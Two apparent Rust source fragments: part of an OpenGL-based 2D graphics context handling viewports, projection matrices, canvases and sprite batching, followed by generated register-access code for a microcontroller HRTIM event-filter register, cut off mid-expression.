= Size::new(logical_size.width, logical_size.height); let viewport = Viewport::new(0.0, 0.0, logical_size.width, logical_size.height); unsafe { gl.viewport(0, 0, physical_size.width as i32, physical_size.height as i32); } let projection_matrix = Mat4::orthographic_rh_gl(0.0, logical_size.width, logical_size.height, 0.0, -1.0, 1.0); let default_program = Program::default(gl.clone())?; let program = default_program.clone(); program.bind(); program.set_uniform_matrix_4("u_projection", &projection_matrix.to_cols_array()); let default_texture = Texture::default(gl.clone())?; let renderer = RendererBuilder::new(gl.clone())? .init_vertex_size(BufferUsage::Stream, graphics_config.renderer_vertex_size) .init_element_size(BufferUsage::Stream, graphics_config.renderer_element_size) .build()?; let vertices = Vec::with_capacity(graphics_config.renderer_vertex_size); let elements = Vec::with_capacity(graphics_config.renderer_element_size); let draw_command = DrawCommand { texture: default_texture.clone(), primitive: PrimitiveType::Triangles, }; unsafe { gl.enable(glow::BLEND); gl.blend_func(glow::SRC_ALPHA, glow::ONE_MINUS_SRC_ALPHA); } Ok(Self { context_wrapper, gl, size, viewport, projection_matrix, default_program, program, default_filter: graphics_config.default_filter, default_wrap: graphics_config.default_wrap, default_texture, canvas: None, renderer, vertices, elements, draw_command, }) } fn window(&self) -> &Window { self.context_wrapper.window() } pub(crate) fn gl(&self) -> &Rc<Context> { &self.gl } pub(crate) fn resize(&mut self, physical_size: PhysicalSize<u32>, scale_factor: f64) { self.context_wrapper.resize(physical_size); if self.canvas.is_none() { let logical_size = physical_size.to_logical(scale_factor); self.size.set(logical_size.width, logical_size.height); self.viewport.set(0.0, 0.0, logical_size.width, logical_size.height); unsafe { self.gl.viewport(0, 0, physical_size.width as i32, physical_size.height as i32); } self.projection_matrix = Mat4::orthographic_rh_gl(0.0, logical_size.width, logical_size.height, 0.0, -1.0, 1.0); self.program.set_uniform_matrix_4("u_projection", &self.projection_matrix.to_cols_array()); } } pub fn flush(&mut self) { if !self.vertices.is_empty() && !self.elements.is_empty() { self.renderer.update_vertices(0, &self.vertices); self.renderer.update_elements(0, &self.elements).expect("renderer update elements error"); self.draw_command.texture.bind(); self.renderer.draw_elements(self.draw_command.primitive, self.elements.len(), 0); self.draw_command.texture.unbind(); } self.vertices.clear(); self.elements.clear(); } pub(crate) fn present(&mut self) -> GameResult { self.flush(); self.context_wrapper.swap_buffers() .map_err(|error| GameError::RuntimeError(Box::new(error))) } pub(crate) fn clean(&mut self) { unsafe { self.gl.bind_texture(glow::TEXTURE_2D, None); self.gl.bind_vertex_array(None); self.gl.use_program(None); } } pub fn size(&self) -> Size { self.size } pub fn viewport(&self) -> Viewport { self.viewport } pub fn set_viewport(&mut self, viewport: Option<impl Into<Viewport>>) { let viewport = viewport.map(|viewport| viewport.into()) .unwrap_or_else(|| Viewport::new(0.0, 0.0, self.size.width, self.size.height)); if self.viewport != viewport { self.flush(); self.viewport = viewport; if self.canvas.is_some() { unsafe { self.gl.viewport( self.viewport.x.round() as i32, self.viewport.y.round() as i32, self.viewport.width.round() as i32, self.viewport.height.round() as i32, ); } self.projection_matrix = Mat4::orthographic_rh_gl(0.0, self.viewport.width, 0.0, self.viewport.height, -1.0, 1.0); } else { let scale_factor = self.window().scale_factor(); let physical_viewport = { let physical_position = LogicalPosition::new(self.viewport.x, self.viewport.y).to_physical::<i32>(scale_factor); let physical_size = LogicalSize::new(self.viewport.width, self.viewport.height).to_physical::<i32>(scale_factor); Viewport::new(physical_position.x, physical_position.y, physical_size.width, physical_size.height) }; let physical_size = { let physical_size = LogicalSize::new(self.size.width, self.size.height).to_physical::<i32>(scale_factor); Size::new(physical_size.width, physical_size.height) }; unsafe { self.gl.viewport( physical_viewport.x, physical_size.height - physical_viewport.y - physical_viewport.height, physical_viewport.width, physical_viewport.height, ); } self.projection_matrix = Mat4::orthographic_rh_gl(0.0, self.viewport.width, self.viewport.height, 0.0, -1.0, 1.0); } self.program.set_uniform_matrix_4("u_projection", &self.projection_matrix.to_cols_array()); } } pub fn use_program(&mut self, program: Option<&Program>) { let program = program.map(|program| program.program().clone()) .unwrap_or_else(|| self.default_program.clone()); if self.program != program { self.flush(); self.program = program; self.program.bind(); self.program.set_uniform_matrix_4("u_projection", &self.projection_matrix.to_cols_array()); } } pub fn default_filter(&self) -> Filter { self.default_filter } pub fn set_default_filter(&mut self, filter: Filter) { self.default_filter = filter; } pub fn default_wrap(&self) -> Wrap { self.default_wrap } pub fn set_default_wrap(&mut self, wrap: Wrap) { self.default_wrap = wrap; } pub fn set_canvas(&mut self, canvas: Option<&Canvas>) { let (canvas, canvas_size) = match canvas { Some(canvas) => (Some(canvas.framebuffer().clone()), Some(canvas.size())), None => (None, None), }; if self.canvas != canvas { self.flush(); if canvas.is_none() { if let Some(canvas) = &self.canvas { canvas.unbind(); } } self.canvas = canvas; if let Some(canvas) = &self.canvas { canvas.bind(); } if let Some(canvas_size) = canvas_size { self.size.set(canvas_size.width as f32, canvas_size.height as f32); self.viewport.set(0.0, 0.0, self.size.width, self.size.height); unsafe { self.gl.viewport(0, 0, canvas_size.width as i32, canvas_size.height as i32); } self.projection_matrix = Mat4::orthographic_rh_gl(0.0, self.size.width, 0.0, self.size.height, -1.0, 1.0); } else { let physical_size = self.window().inner_size(); let scale_factor = self.window().scale_factor(); let logical_size = physical_size.to_logical(scale_factor); self.size.set(logical_size.width, logical_size.height); self.viewport.set(0.0, 0.0, logical_size.width, logical_size.height); unsafe { self.gl.viewport(0, 0, physical_size.width as i32, physical_size.height as i32); } self.projection_matrix = Mat4::orthographic_rh_gl(0.0, logical_size.width, logical_size.height, 0.0, -1.0, 1.0); } self.program.set_uniform_matrix_4("u_projection", &self.projection_matrix.to_cols_array()); } } pub fn clear(&mut self, color: impl Into<Color>) { let color = color.into(); unsafe { self.gl.clear_color(color.red, color.green, color.blue, color.alpha); self.gl.clear(glow::COLOR_BUFFER_BIT | glow::DEPTH_BUFFER_BIT); } } fn switch_draw_command(&mut self, draw_command: DrawCommand) { if self.draw_command != draw_command { self.flush(); self.draw_command = draw_command; } } fn append_vertices_and_elements(&mut self, vertices: Vec<Vertex>, elements: Option<Vec<u32>>) { let mut elements = elements.unwrap_or_else(|| { let mut elements = Vec::with_capacity(vertices.len()); for i in 0..vertices.len() as u32 { elements.push(i); } elements }); let renderer_vertex_size = self.renderer.vertex_size(); let renderer_element_size = self.renderer.element_size().unwrap_or(0); if renderer_vertex_size - self.vertices.len() < vertices.len() || renderer_element_size - self.elements.len() < elements.len() { self.flush(); } assert!(renderer_vertex_size >= vertices.len(), "no enough renderer vertex size ({}): expect {}", renderer_vertex_size, vertices.len()); assert!(renderer_element_size >= elements.len(), "no enough renderer element size ({}): expect {}", renderer_element_size, elements.len()); let append_vertex_count = vertices.len() as u32; let element_offset = self.vertices.len() as u32; self.vertices.extend(vertices); for element in &mut elements { assert!(*element < append_vertex_count, "element must < append vertex count"); *element += element_offset; } self.elements.extend(elements); } pub fn draw_mesh(&mut self, texture: Option<&impl TextureHolder>, primitive: PrimitiveType, vertices: Vec<Vertex>, elements: Option<Vec<u32>>) { let texture = texture.map(|texture| texture.texture().clone()) .unwrap_or_else(|| self.default_texture.clone()); self.switch_draw_command(DrawCommand { texture, primitive, }); self.append_vertices_and_elements(vertices, elements); } pub fn draw_sprite(&mut self, texture: Option<&impl TextureHolder>, params: SpriteDrawParams) { let (texture, texture_size) = match texture { Some(texture) => { let texture_size = texture.texture_size(); (texture.texture().clone(), Size::new(texture_size.width as f32, texture_size.height as f32)) } None => (self.default_texture.clone(), Size::zero()), }; self.switch_draw_command(DrawCommand { texture, primitive: PrimitiveType::Triangles, }); let region = params.region.unwrap_or_else(|| Region::new(0.0, 0.0, texture_size.width, texture_size.height)); let origin = params.origin.unwrap_or_else(|| Point::zero()); let position = params.position.map(|position| Vec3::new(position.x, position.y, 0.0)).unwrap_or_else(|| Vec3::zero()); let rotation = params.rotation.map(|angle| Quat::from_rotation_z(angle.radians_value())).unwrap_or_else(|| Quat::from_rotation_z(0.0)); let scale = params.scale.map(|scale| Vec3::new(scale.x, scale.y, 1.0)).unwrap_or_else(|| Vec3::one()); let model_matrix = Mat4::from_scale_rotation_translation(scale, rotation, position); let x0y0 = model_matrix * Vec4::new(-origin.x, -origin.y, 0.0, 1.0); let x1y0 = model_matrix * Vec4::new(-origin.x + region.width, -origin.y, 0.0, 1.0); let x0y1 = model_matrix * Vec4::new(-origin.x, -origin.y + region.height, 0.0, 1.0); let x1y1 = model_matrix * Vec4::new(-origin.x + region.width, -origin.y + region.height, 0.0, 1.0); let uv = Region::new( region.x / texture_size.width, region.y / texture_size.height, region.width / texture_size.width, region.height / texture_size.height, ); let colors = params.colors.unwrap_or_else(|| [Color::WHITE, Color::WHITE, Color::WHITE, Color::WHITE]); let vertices = vec![ Vertex { position: Position::new(x0y0.x(), x0y0.y()), uv: uv.top_left(), color: colors[0], }, Vertex { position: Position::new(x1y0.x(), x1y0.y()), uv: uv.top_right(), color: colors[1], }, Vertex { position: Position::new(x0y1.x(), x0y1.y()), uv: uv.bottom_left(), color: colors[2], }, Vertex { position: Position::new(x1y1.x(), x1y1.y()), uv: uv.bottom_right(), color: colors[3], }, ]; let elements = SPRITE_ELEMENTS.to_vec(); self.append_vertices_and_elements(vertices, Some(elements)); } } #[derive(Debug, Clone)] pub struct GraphicsConfig { default_filter: Filter, default_wrap: Wrap, renderer_vertex_size: usize, renderer_element_size: usize, } impl GraphicsConfig { pub fn new() -> Self { Self { default_filter: Filter::default(), default_wrap: Wrap::default(), renderer_vertex_size: SPRITE_VERTEX_COUNT * 2048, renderer_element_size: SPRITE_ELEMENT_COUNT * 2048, } } pub fn default_filter(mut self, filter: Filter) -> Self { self.default_filter = filter; self } pub fn default_wrap(mut self, wrap: Wrap) -> Self { self.default_wrap = wrap; self } pub fn renderer_vertex_size(mut self, size: usize) -> Self { self.renderer_vertex_size = size; self } pub fn renderer_element_size(mut self, size: usize) -> Self { self.renderer_element_size = size; self } pub fn renderer_sprite_size(mut self, size: usize) -> Self { self.renderer_vertex_size = SPRITE_VERTEX_COUNT * size; self.renderer_element_size = SPRITE_ELEMENT_COUNT * size; self } }
#[doc = "Reader of register EECR3"] pub type R = crate::R<u32, super::EECR3>; #[doc = "Writer for register EECR3"] pub type W = crate::W<u32, super::EECR3>; #[doc = "Register EECR3 `reset()`'s with value 0"] impl crate::ResetValue for super::EECR3 { type Type = u32; #[inline(always)] fn reset_value() -> Self::Type { 0 } } #[doc = "EEVSD\n\nValue on reset: 0"] #[derive(Clone, Copy, Debug, PartialEq)] #[repr(u8)] pub enum EEVSD_A { #[doc = "0: f_EEVS=f_HRTIM"] DIV1 = 0, #[doc = "1: f_EEVS=f_HRTIM/2"] DIV2 = 1, #[doc = "2: f_EEVS=f_HRTIM/4"] DIV4 = 2, #[doc = "3: f_EEVS=f_HRTIM/8"] DIV8 = 3, } impl From<EEVSD_A> for u8 { #[inline(always)] fn from(variant: EEVSD_A) -> Self { variant as _ } } #[doc = "Reader of field `EEVSD`"] pub type EEVSD_R = crate::R<u8, EEVSD_A>; impl EEVSD_R { #[doc = r"Get enumerated values variant"] #[inline(always)] pub fn variant(&self) -> EEVSD_A { match self.bits { 0 => EEVSD_A::DIV1, 1 => EEVSD_A::DIV2, 2 => EEVSD_A::DIV4, 3 => EEVSD_A::DIV8, _ => unreachable!(), } } #[doc = "Checks if the value of the field is `DIV1`"] #[inline(always)] pub fn is_div1(&self) -> bool { *self == EEVSD_A::DIV1 } #[doc = "Checks if the value of the field is `DIV2`"] #[inline(always)] pub fn is_div2(&self) -> bool { *self == EEVSD_A::DIV2 } #[doc = "Checks if the value of the field is `DIV4`"] #[inline(always)] pub fn is_div4(&self) -> bool { *self == EEVSD_A::DIV4 } #[doc = "Checks if the value of the field is `DIV8`"] #[inline(always)] pub fn is_div8(&self) -> bool { *self == EEVSD_A::DIV8 } } #[doc = "Write proxy for field `EEVSD`"] pub struct EEVSD_W<'a> { w: &'a mut W, } impl<'a> EEVSD_W<'a> { #[doc = r"Writes `variant` to the field"] #[inline(always)] pub fn variant(self, variant: EEVSD_A) -> &'a mut W { { self.bits(variant.into()) } } #[doc = "f_EEVS=f_HRTIM"] #[inline(always)] pub fn div1(self) -> &'a mut W { self.variant(EEVSD_A::DIV1) } #[doc = "f_EEVS=f_HRTIM/2"] #[inline(always)] pub fn div2(self) -> &'a mut W { self.variant(EEVSD_A::DIV2) } #[doc = "f_EEVS=f_HRTIM/4"] #[inline(always)] pub fn div4(self) -> &'a mut W { self.variant(EEVSD_A::DIV4) } #[doc = "f_EEVS=f_HRTIM/8"] #[inline(always)] pub fn div8(self) -> &'a mut W { self.variant(EEVSD_A::DIV8) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bits(self, value: u8) -> &'a mut W { self.w.bits = (self.w.bits & !(0x03 << 30)) | (((value as u32) & 0x03) << 30); self.w } } #[doc = "EE10F\n\nValue on reset: 0"] #[derive(Clone, Copy, Debug, PartialEq)] #[repr(u8)] pub enum EE10F_A { #[doc = "0: Filter disabled"] DISABLED = 0, #[doc = "1: f_SAMPLING=f_HRTIM, N=2"] DIV1_N2 = 1, #[doc = "2: f_SAMPLING=f_HRTIM, N=4"] DIV1_N4 = 2, #[doc = "3: f_SAMPLING=f_HRTIM, N=8"] DIV1_N8 = 3, #[doc = "4: f_SAMPLING=f_HRTIM/2, N=6"] DIV2_N6 = 4, #[doc = "5: f_SAMPLING=f_HRTIM/2, N=8"] DIV2_N8 = 5, #[doc = "6: f_SAMPLING=f_HRTIM/4, N=6"] DIV4_N6 = 6, #[doc = "7: f_SAMPLING=f_HRTIM/4, N=8"] DIV4_N8 = 7, #[doc = "8: f_SAMPLING=f_HRTIM/8, N=6"] DIV8_N6 = 8, #[doc = "9: f_SAMPLING=f_HRTIM/8, N=8"] DIV8_N8 = 9, #[doc = "10: f_SAMPLING=f_HRTIM/16, N=5"] DIV16_N5 = 10, #[doc = "11: f_SAMPLING=f_HRTIM/16, N=6"] DIV16_N6 = 11, #[doc = "12: f_SAMPLING=f_HRTIM/16, N=8"] DIV16_N8 = 12, #[doc = "13: f_SAMPLING=f_HRTIM/32, N=5"] DIV32_N5 = 13, #[doc = "14: f_SAMPLING=f_HRTIM/32, N=6"] DIV32_N6 = 14, #[doc = "15: f_SAMPLING=f_HRTIM/32, N=8"] DIV32_N8 = 15, } impl From<EE10F_A> for u8 { #[inline(always)] fn from(variant: EE10F_A) -> Self { variant as _ } } #[doc = "Reader of field `EE10F`"] pub type EE10F_R = crate::R<u8, EE10F_A>; impl EE10F_R { #[doc = r"Get enumerated values variant"] #[inline(always)] pub fn variant(&self) -> EE10F_A { match self.bits { 0 => EE10F_A::DISABLED, 1 => EE10F_A::DIV1_N2, 2 => EE10F_A::DIV1_N4, 3 => EE10F_A::DIV1_N8, 4 => EE10F_A::DIV2_N6, 5 => EE10F_A::DIV2_N8, 6 => EE10F_A::DIV4_N6, 7 => EE10F_A::DIV4_N8, 8 => EE10F_A::DIV8_N6, 9 => EE10F_A::DIV8_N8, 10 => EE10F_A::DIV16_N5, 11 => EE10F_A::DIV16_N6, 12 => EE10F_A::DIV16_N8, 13 => EE10F_A::DIV32_N5, 14 => EE10F_A::DIV32_N6, 15 => EE10F_A::DIV32_N8, _ => unreachable!(), } } #[doc = "Checks if the value of the field is `DISABLED`"] #[inline(always)] pub fn is_disabled(&self) -> bool { *self == EE10F_A::DISABLED } #[doc = "Checks if the value of the field is `DIV1_N2`"] #[inline(always)] pub fn is_div1_n2(&self) -> bool { *self == EE10F_A::DIV1_N2 } #[doc = "Checks if the value of the field is `DIV1_N4`"] #[inline(always)] pub fn is_div1_n4(&self) -> bool { *self == EE10F_A::DIV1_N4 } #[doc = "Checks if the value of the field is `DIV1_N8`"] #[inline(always)] pub fn is_div1_n8(&self) -> bool { *self == EE10F_A::DIV1_N8 } #[doc = "Checks if the value of the field is `DIV2_N6`"] #[inline(always)] pub fn is_div2_n6(&self) -> bool { *self == EE10F_A::DIV2_N6 } #[doc = "Checks if the value of the field is `DIV2_N8`"] #[inline(always)] pub fn is_div2_n8(&self) -> bool { *self == EE10F_A::DIV2_N8 } #[doc = "Checks if the value of the field is `DIV4_N6`"] #[inline(always)] pub fn is_div4_n6(&self) -> bool { *self == EE10F_A::DIV4_N6 } #[doc = "Checks if the value of the field is `DIV4_N8`"] #[inline(always)] pub fn is_div4_n8(&self) -> bool { *self == EE10F_A::DIV4_N8 } #[doc = "Checks if the value of the field is `DIV8_N6`"] #[inline(always)] pub fn is_div8_n6(&self) -> bool { *self == EE10F_A::DIV8_N6 } #[doc = "Checks if the value of the field is `DIV8_N8`"] #[inline(always)] pub fn is_div8_n8(&self) -> bool { *self == EE10F_A::DIV8_N8 } #[doc = "Checks if the value of the field is `DIV16_N5`"] #[inline(always)] pub fn is_div16_n5(&self) -> bool { *self == EE10F_A::DIV16_N5 } #[doc = "Checks if the value of the field is `DIV16_N6`"] #[inline(always)] pub fn is_div16_n6(&self) -> bool { *self == EE10F_A::DIV16_N6 } #[doc = "Checks if the value of the field is `DIV16_N8`"] #[inline(always)] pub fn is_div16_n8(&self) -> bool { *self == EE10F_A::DIV16_N8 } #[doc = "Checks if the value of the field is `DIV32_N5`"] #[inline(always)] pub fn is_div32_n5(&self) -> bool { *self == EE10F_A::DIV32_N5 } #[doc = "Checks if the value of the field is `DIV32_N6`"] #[inline(always)] pub fn is_div32_n6(&self) -> bool { *self == EE10F_A::DIV32_N6 } #[doc = "Checks if the value of the field is `DIV32_N8`"] #[inline(always)] pub fn is_div32_n8(&self) -> bool { *self == EE10F_A::DIV32_N8 } } #[doc = "Write proxy for field `EE10F`"] pub struct EE10F_W<'a> { w: &'a mut W, } impl<'a> EE10F_W<'a> { #[doc = r"Writes `variant` to the field"] #[inline(always)] pub fn variant(self, variant: EE10F_A) -> &'a mut W { { self.bits(variant.into()) } } #[doc = "Filter disabled"] #[inline(always)] pub fn disabled(self) -> &'a mut W { self.variant(EE10F_A::DISABLED) } #[doc = "f_SAMPLING=f_HRTIM, N=2"] #[inline(always)] pub fn div1_n2(self) -> &'a mut W { self.variant(EE10F_A::DIV1_N2) } #[doc = "f_SAMPLING=f_HRTIM, N=4"] #[inline(always)] pub fn div1_n4(self) -> &'a mut W { self.variant(EE10F_A::DIV1_N4) } #[doc = "f_SAMPLING=f_HRTIM, N=8"] #[inline(always)] pub fn div1_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV1_N8) } #[doc = "f_SAMPLING=f_HRTIM/2, N=6"] #[inline(always)] pub fn div2_n6(self) -> &'a mut W { self.variant(EE10F_A::DIV2_N6) } #[doc = "f_SAMPLING=f_HRTIM/2, N=8"] #[inline(always)] pub fn div2_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV2_N8) } #[doc = "f_SAMPLING=f_HRTIM/4, N=6"] #[inline(always)] pub fn div4_n6(self) -> &'a mut W { self.variant(EE10F_A::DIV4_N6) } #[doc = "f_SAMPLING=f_HRTIM/4, N=8"] #[inline(always)] pub fn div4_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV4_N8) } #[doc = "f_SAMPLING=f_HRTIM/8, N=6"] #[inline(always)] pub fn div8_n6(self) -> &'a mut W { self.variant(EE10F_A::DIV8_N6) } #[doc = "f_SAMPLING=f_HRTIM/8, N=8"] #[inline(always)] pub fn div8_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV8_N8) } #[doc = "f_SAMPLING=f_HRTIM/16, N=5"] #[inline(always)] pub fn div16_n5(self) -> &'a mut W { self.variant(EE10F_A::DIV16_N5) } #[doc = "f_SAMPLING=f_HRTIM/16, N=6"] #[inline(always)] pub fn div16_n6(self) -> &'a mut W { self.variant(EE10F_A::DIV16_N6) } #[doc = "f_SAMPLING=f_HRTIM/16, N=8"] #[inline(always)] pub fn div16_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV16_N8) } #[doc = "f_SAMPLING=f_HRTIM/32, N=5"] #[inline(always)] pub fn div32_n5(self) -> &'a mut W { self.variant(EE10F_A::DIV32_N5) } #[doc = "f_SAMPLING=f_HRTIM/32, N=6"] #[inline(always)] pub fn div32_n6(self) -> &'a mut W { self.variant(EE10F_A::DIV32_N6) } #[doc = "f_SAMPLING=f_HRTIM/32, N=8"] #[inline(always)] pub fn div32_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV32_N8) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bits(self, value: u8) -> &'a mut W { self.w.bits = (self.w.bits & !(0x0f << 24)) | (((value as u32) & 0x0f) << 24); self.w } } #[doc = "EE9F"] pub type EE9F_A = EE10F_A; #[doc = "Reader of field `EE9F`"] pub type EE9F_R = crate::R<u8, EE10F_A>; #[doc = "Write proxy for field `EE9F`"] pub struct EE9F_W<'a> { w: &'a mut W, } impl<'a> EE9F_W<'a> { #[doc = r"Writes `variant` to the field"] #[inline(always)] pub fn variant(self, variant: EE9F_A) -> &'a mut W { { self.bits(variant.into()) } } #[doc = "Filter disabled"] #[inline(always)] pub fn disabled(self) -> &'a mut W { self.variant(EE10F_A::DISABLED) } #[doc = "f_SAMPLING=f_HRTIM, N=2"] #[inline(always)] pub fn div1_n2(self) -> &'a mut W { self.variant(EE10F_A::DIV1_N2) } #[doc = "f_SAMPLING=f_HRTIM, N=4"] #[inline(always)] pub fn div1_n4(self) -> &'a mut W { self.variant(EE10F_A::DIV1_N4) } #[doc = "f_SAMPLING=f_HRTIM, N=8"] #[inline(always)] pub fn div1_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV1_N8) } #[doc = "f_SAMPLING=f_HRTIM/2, N=6"] #[inline(always)] pub fn div2_n6(self) -> &'a mut W { self.variant(EE10F_A::DIV2_N6) } #[doc = "f_SAMPLING=f_HRTIM/2, N=8"] #[inline(always)] pub fn div2_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV2_N8) } #[doc = "f_SAMPLING=f_HRTIM/4, N=6"] #[inline(always)] pub fn div4_n6(self) -> &'a mut W { self.variant(EE10F_A::DIV4_N6) } #[doc = "f_SAMPLING=f_HRTIM/4, N=8"] #[inline(always)] pub fn div4_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV4_N8) } #[doc = "f_SAMPLING=f_HRTIM/8, N=6"] #[inline(always)] pub fn div8_n6(self) -> &'a mut W { self.variant(EE10F_A::DIV8_N6) } #[doc = "f_SAMPLING=f_HRTIM/8, N=8"] #[inline(always)] pub fn div8_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV8_N8) } #[doc = "f_SAMPLING=f_HRTIM/16, N=5"] #[inline(always)] pub fn div16_n5(self) -> &'a mut W { self.variant(EE10F_A::DIV16_N5) } #[doc = "f_SAMPLING=f_HRTIM/16, N=6"] #[inline(always)] pub fn div16_n6(self) -> &'a mut W { self.variant(EE10F_A::DIV16_N6) } #[doc = "f_SAMPLING=f_HRTIM/16, N=8"] #[inline(always)] pub fn div16_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV16_N8) } #[doc = "f_SAMPLING=f_HRTIM/32, N=5"] #[inline(always)] pub fn div32_n5(self) -> &'a mut W { self.variant(EE10F_A::DIV32_N5) } #[doc = "f_SAMPLING=f_HRTIM/32, N=6"] #[inline(always)] pub fn div32_n6(self) -> &'a mut W { self.variant(EE10F_A::DIV32_N6) } #[doc = "f_SAMPLING=f_HRTIM/32, N=8"] #[inline(always)] pub fn div32_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV32_N8) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bits(self, value: u8) -> &'a mut W { self.w.bits = (self.w.bits & !(0x0f << 18)) | (((value as u32) & 0x0f) << 18); self.w } } #[doc = "EE8F"] pub type EE8F_A = EE10F_A; #[doc = "Reader of field `EE8F`"] pub type EE8F_R = crate::R<u8, EE10F_A>; #[doc = "Write proxy for field `EE8F`"] pub struct EE8F_W<'a> { w: &'a mut W, } impl<'a> EE8F_W<'a> { #[doc = r"Writes `variant` to the field"] #[inline(always)] pub fn variant(self, variant: EE8F_A) -> &'a mut W { { self.bits(variant.into()) } } #[doc = "Filter disabled"] #[inline(always)] pub fn disabled(self) -> &'a mut W { self.variant(EE10F_A::DISABLED) } #[doc = "f_SAMPLING=f_HRTIM, N=2"] #[inline(always)] pub fn div1_n2(self) -> &'a mut W { self.variant(EE10F_A::DIV1_N2) } #[doc = "f_SAMPLING=f_HRTIM, N=4"] #[inline(always)] pub fn div1_n4(self) -> &'a mut W { self.variant(EE10F_A::DIV1_N4) } #[doc = "f_SAMPLING=f_HRTIM, N=8"] #[inline(always)] pub fn div1_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV1_N8) } #[doc = "f_SAMPLING=f_HRTIM/2, N=6"] #[inline(always)] pub fn div2_n6(self) -> &'a mut W { self.variant(EE10F_A::DIV2_N6) } #[doc = "f_SAMPLING=f_HRTIM/2, N=8"] #[inline(always)] pub fn div2_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV2_N8) } #[doc = "f_SAMPLING=f_HRTIM/4, N=6"] #[inline(always)] pub fn div4_n6(self) -> &'a mut W { self.variant(EE10F_A::DIV4_N6) } #[doc = "f_SAMPLING=f_HRTIM/4, N=8"] #[inline(always)] pub fn div4_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV4_N8) } #[doc = "f_SAMPLING=f_HRTIM/8, N=6"] #[inline(always)] pub fn div8_n6(self) -> &'a mut W { self.variant(EE10F_A::DIV8_N6) } #[doc = "f_SAMPLING=f_HRTIM/8, N=8"] #[inline(always)] pub fn div8_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV8_N8) } #[doc = "f_SAMPLING=f_HRTIM/16, N=5"] #[inline(always)] pub fn div16_n5(self) -> &'a mut W { self.variant(EE10F_A::DIV16_N5) } #[doc = "f_SAMPLING=f_HRTIM/16, N=6"] #[inline(always)] pub fn div16_n6(self) -> &'a mut W { self.variant(EE10F_A::DIV16_N6) } #[doc = "f_SAMPLING=f_HRTIM/16, N=8"] #[inline(always)] pub fn div16_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV16_N8) } #[doc = "f_SAMPLING=f_HRTIM/32, N=5"] #[inline(always)] pub fn div32_n5(self) -> &'a mut W { self.variant(EE10F_A::DIV32_N5) } #[doc = "f_SAMPLING=f_HRTIM/32, N=6"] #[inline(always)] pub fn div32_n6(self) -> &'a mut W { self.variant(EE10F_A::DIV32_N6) } #[doc = "f_SAMPLING=f_HRTIM/32, N=8"] #[inline(always)] pub fn div32_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV32_N8) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bits(self, value: u8) -> &'a mut W { self.w.bits = (self.w.bits & !(0x0f << 12)) | (((value as u32) & 0x0f) << 12); self.w } } #[doc = "EE7F"] pub type EE7F_A = EE10F_A; #[doc = "Reader of field `EE7F`"] pub type EE7F_R = crate::R<u8, EE10F_A>; #[doc = "Write proxy for field `EE7F`"] pub struct EE7F_W<'a> { w: &'a mut W, } impl<'a> EE7F_W<'a> { #[doc = r"Writes `variant` to the field"] #[inline(always)] pub fn variant(self, variant: EE7F_A) -> &'a mut W { { self.bits(variant.into()) } } #[doc = "Filter disabled"] #[inline(always)] pub fn disabled(self) -> &'a mut W { self.variant(EE10F_A::DISABLED) } #[doc = "f_SAMPLING=f_HRTIM, N=2"] #[inline(always)] pub fn div1_n2(self) -> &'a mut W { self.variant(EE10F_A::DIV1_N2) } #[doc = "f_SAMPLING=f_HRTIM, N=4"] #[inline(always)] pub fn div1_n4(self) -> &'a mut W { self.variant(EE10F_A::DIV1_N4) } #[doc = "f_SAMPLING=f_HRTIM, N=8"] #[inline(always)] pub fn div1_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV1_N8) } #[doc = "f_SAMPLING=f_HRTIM/2, N=6"] #[inline(always)] pub fn div2_n6(self) -> &'a mut W { self.variant(EE10F_A::DIV2_N6) } #[doc = "f_SAMPLING=f_HRTIM/2, N=8"] #[inline(always)] pub fn div2_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV2_N8) } #[doc = "f_SAMPLING=f_HRTIM/4, N=6"] #[inline(always)] pub fn div4_n6(self) -> &'a mut W { self.variant(EE10F_A::DIV4_N6) } #[doc = "f_SAMPLING=f_HRTIM/4, N=8"] #[inline(always)] pub fn div4_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV4_N8) } #[doc = "f_SAMPLING=f_HRTIM/8, N=6"] #[inline(always)] pub fn div8_n6(self) -> &'a mut W { self.variant(EE10F_A::DIV8_N6) } #[doc = "f_SAMPLING=f_HRTIM/8, N=8"] #[inline(always)] pub fn div8_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV8_N8) } #[doc = "f_SAMPLING=f_HRTIM/16, N=5"] #[inline(always)] pub fn div16_n5(self) -> &'a mut W { self.variant(EE10F_A::DIV16_N5) } #[doc = "f_SAMPLING=f_HRTIM/16, N=6"] #[inline(always)] pub fn div16_n6(self) -> &'a mut W { self.variant(EE10F_A::DIV16_N6) } #[doc = "f_SAMPLING=f_HRTIM/16, N=8"] #[inline(always)] pub fn div16_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV16_N8) } #[doc = "f_SAMPLING=f_HRTIM/32, N=5"] #[inline(always)] pub fn div32_n5(self) -> &'a mut W { self.variant(EE10F_A::DIV32_N5) } #[doc = "f_SAMPLING=f_HRTIM/32, N=6"] #[inline(always)] pub fn div32_n6(self) -> &'a mut W { self.variant(EE10F_A::DIV32_N6) } #[doc = "f_SAMPLING=f_HRTIM/32, N=8"] #[inline(always)] pub fn div32_n8(self) -> &'a mut W { self.variant(EE10F_A::DIV32_N8) } #[doc = r"Writes raw bits to the field"] #[inline(always)] pub fn bits(self, value: u8) -> &'a mut W { self.w.bits = 